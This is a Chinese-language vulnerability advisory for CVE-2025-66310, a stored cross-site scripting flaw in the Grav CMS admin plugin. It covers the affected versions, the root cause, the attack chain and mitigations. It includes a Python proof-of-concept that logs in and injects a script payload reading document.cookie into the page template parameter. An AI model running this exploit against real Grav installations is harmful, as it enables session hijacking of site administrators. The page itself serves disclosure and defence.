IPBUF安全漏洞报告
English
CVE-2025-66310 CVSS 5.4 中危

CVE-2025-66310 Grav admin插件存储型XSS漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-66310
漏洞类型
存储型XSS (Stored Cross-Site Scripting)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Grav admin plugin

相关标签

存储型XSSCVE-2025-66310Grav CMSGrav admin pluginCross-Site ScriptingWeb安全漏洞内容管理系统CMS漏洞

漏洞概述

CVE-2025-66310是Grav CMS管理插件中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于Grav的管理员界面插件中,该插件为Grav提供了一个便捷的HTML用户界面,用于配置Grav系统以及创建和修改页面。在1.11.0-beta.1之前的版本中,攻击者可以通过/admin/pages/[page]端点的data[header][template]参数注入恶意JavaScript脚本。这些恶意脚本会被保存在页面的frontmatter中,当管理员或用户在管理界面或前端视图中访问受影响的页面时,恶意脚本会自动执行。由于是存储型XSS,攻击者只需成功注入一次,恶意代码就会在所有访问该页面的用户浏览器中执行,可能导致会话劫持、敏感信息窃取或进一步的恶意操作。此漏洞需要攻击者具有低权限用户身份,并且需要用户交互才能触发。

技术细节

该漏洞的根本原因在于Grav admin插件在处理页面模板参数时缺乏充分的输入验证和输出编码。具体来说:1) 漏洞位于/admin/pages/[page]端点,该端点允许用户编辑页面配置;2) 攻击者通过data[header][template]参数提交恶意脚本内容;3) 由于缺乏输入过滤,恶意脚本被直接存储在页面的YAML frontmatter中;4) 当页面被渲染时,未经过滤的脚本内容被直接嵌入到HTML响应中;5) 浏览器将其作为合法脚本执行,导致XSS攻击成功。攻击者可以利用此漏洞窃取管理员会话cookie、进行钓鱼攻击或在管理员界面中执行任意操作。修复版本为1.11.0-beta.1,修复措施包括对template参数进行严格的输入验证和适当的输出编码。

攻击链分析

STEP 1
步骤1
攻击者获取Grav admin插件的低权限账户(如编辑员或作者角色)
STEP 2
步骤2
攻击者访问/admin/pages/[page]端点,选择要编辑的页面
STEP 3
步骤3
攻击者在data[header][template]参数中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>
STEP 4
步骤4
恶意脚本被保存在页面的YAML frontmatter中,完成存储
STEP 5
步骤5
当管理员或用户访问该页面时,未经过滤的脚本被嵌入HTML并执行
STEP 6
步骤6
攻击者成功窃取用户会话Cookie、进行钓鱼攻击或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66310 PoC - Stored XSS in Grav admin plugin # Target: Grav admin plugin < 1.11.0-beta.1 # Endpoint: /admin/pages/[page] # Parameter: data[header][template] import requests import re from urllib.parse import urljoin TARGET_URL = "http://target-site.com" USERNAME = "attacker" PASSWORD = "attacker123" session = requests.Session() # Step 1: Login to Grav admin login_url = urljoin(TARGET_URL, "/admin/") login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Login failed") exit(1) print("[+] Login successful") # Step 2: Get page ID for exploitation pages_url = urljoin(TARGET_URL, "/admin/api/pages") response = session.get(pages_url) # Step 3: Create XSS payload # The payload is injected via data[header][template] parameter xss_payload = "test<script>alert(document.cookie)</script>" # Step 4: Submit the malicious template parameter page_edit_url = urljoin(TARGET_URL, "/admin/pages/test-page") edit_data = { "data[header][template]": xss_payload, "task": "save" } response = session.post(page_edit_url, data=edit_data) if "<script>alert" in response.text or response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload: {xss_payload}") print("[+] The XSS will execute when the page is viewed in admin or frontend") else: print("[-] Injection failed")

影响范围

Grav admin plugin < 1.11.0-beta.1
Grav < 1.11.0-beta.1 (if using bundled admin plugin)

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制admin插件的访问权限,确保只有受信任的用户才能访问;2) 启用Web应用防火墙(WAF)规则来检测和阻止XSS攻击尝试;3) 实施严格的访问控制列表(ACL);4) 监控/admin/pages端点的异常请求模式;5) 考虑暂时禁用页面编辑功能,直到完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表